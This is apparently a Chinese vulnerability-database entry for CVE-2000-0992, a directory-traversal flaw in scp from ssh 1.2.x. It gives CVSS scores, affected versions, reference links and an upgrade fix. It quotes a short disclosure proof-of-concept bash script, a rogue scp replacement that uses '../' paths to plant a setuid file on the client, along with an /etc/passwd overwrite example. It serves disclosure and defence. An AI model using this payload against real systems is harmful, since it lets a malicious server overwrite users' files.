CVE-2000-0992
CVSS5.0
发布时间 :2000-12-19 00:00:00
修订时间 :2008-09-05 16:22:22
NMCOE    

[原文]Directory traversal vulnerability in scp in sshd 1.2.xx allows a remote malicious scp server to overwrite arbitrary files via a .. (dot dot) attack.


[CNNVD]sshd scp目录遍历漏洞(CNNVD-200012-108)

        sshd 1.2.xx版本的scp存在目录遍历漏洞。远程恶意scp服务器借助 .. (点 点)攻击改写任意文件。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:ssh:ssh:1.2.24SSH Communications Security SSH daemon 1.2.24
cpe:/a:ssh:ssh:1.2.19SSH Communications Security SSH daemon 1.2.19
cpe:/a:ssh:ssh:1.2.26SSH Communications Security SSH daemon 1.2.26
cpe:/a:ssh:ssh:1.2.23SSH Communications Security SSH daemon 1.2.23
cpe:/a:ssh:ssh:1.2.16SSH Communications Security SSH daemon 1.2.16
cpe:/a:ssh:ssh:1.2.27SSH Communications Security SSH daemon 1.2.27
cpe:/a:ssh:ssh:1.2.28SSH Communications Security SSH daemon 1.2.28
cpe:/a:ssh:ssh:1.2.18SSH Communications Security SSH daemon 1.2.18
cpe:/a:ssh:ssh:1.2.25SSH Communications Security SSH daemon 1.2.25
cpe:/a:ssh:ssh:1.2.30SSH Communications Security SSH daemon 1.2.30
cpe:/a:ssh:ssh:1.2.29SSH Communications Security SSH daemon 1.2.29
cpe:/a:openbsd:openssh:1.2.3OpenBSD OpenSSH 1.2.3
cpe:/a:ssh:ssh:1.2.22SSH Communications Security SSH daemon 1.2.22
cpe:/a:ssh:ssh:1.2.20SSH Communications Security SSH daemon 1.2.20
cpe:/a:ssh:ssh:1.2.14SSH Communications Security SSH daemon 1.2.14
cpe:/a:ssh:ssh:1.2.17SSH Communications Security SSH daemon 1.2.17
cpe:/a:openbsd:openssh:1.2OpenBSD OpenSSH 1.2
cpe:/a:ssh:ssh:1.2.15SSH Communications Security SSH daemon 1.2.15
cpe:/a:ssh:ssh:1.2.31SSH Communications Security SSH daemon 1.2.31
cpe:/a:ssh:ssh:1.2.21SSH Communications Security SSH daemon 1.2.21

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0992
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0992
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-108
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1742
(VENDOR_ADVISORY)  BID  1742
http://archives.neohapsis.com/archives/bugtraq/2000-09/0359.html
(VENDOR_ADVISORY)  BUGTRAQ  20000930 scp file transfer hole
http://xforce.iss.net/static/5312.php
(UNKNOWN)  XF  scp-overwrite-files
http://frontal2.mandriva.com/security/advisories?name=MDKSA-2000:057
(UNKNOWN)  MANDRAKE  MDKSA-2000:057

- 漏洞信息

sshd scp目录遍历漏洞
中危 路径遍历
2000-12-19 00:00:00 2006-09-05 00:00:00
远程  
        sshd 1.2.xx版本的scp存在目录遍历漏洞。远程恶意scp服务器借助 .. (点 点)攻击改写任意文件。

- 公告与补丁

        

- 漏洞信息 (20253)

OpenSSH 1.2 scp File Create/Overwrite Vulnerability (EDBID:20253)
linux remote
2000-09-30 Verified
0 Michal Zalewski
N/A [点击下载]
source: http://www.securityfocus.com/bid/1742/info

A vulnerability exists in the 1.2.x releases of scp which, if properly exploited using a modified scp binary on the server end, can permit the remote server to spoof local pathnames and overwrite files belonging to the local user.

For example, following the command

scp user@remotehost:/somefile /home/user/newfile

the modified server on the remote machine maliciously sends the filename as ../../etc/passwd

the local user's scp program will then write the data to

/home/user/../../etc/passwd

(which is the same as /etc/passwd)

Note that the target file can only be overwritten if the local user has write access to it. As a result, it remains inadvisable to run scp as root.

This vulnerability applies to 1.2.x versions of ssh on the remote machine, irrespective of the version running as the client.

ssh-2.x on the remote employs a different protocol and as a result is reportedly not vulnerable to this bug.

As a proof of concept, I created trivial scp replacement (put it on remote machine in the place of original scp binary - usually in /usr/local/bin).

It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy file on client system:

#!/bin/bash

echo "D0755 0 ../../../../../../tmp/nope"
echo "D0755 0 ../../../../../../tmp"
echo "C4755 200 ScpIsBuggy"
dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null
dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null		

- 漏洞信息

1586
sshd scp Traversal Arbitrary File Overwrite
Local Access Required Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2000-09-30 Unknow
2000-09-30 Unknow

- 解决方案

Upgrade to version 2.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站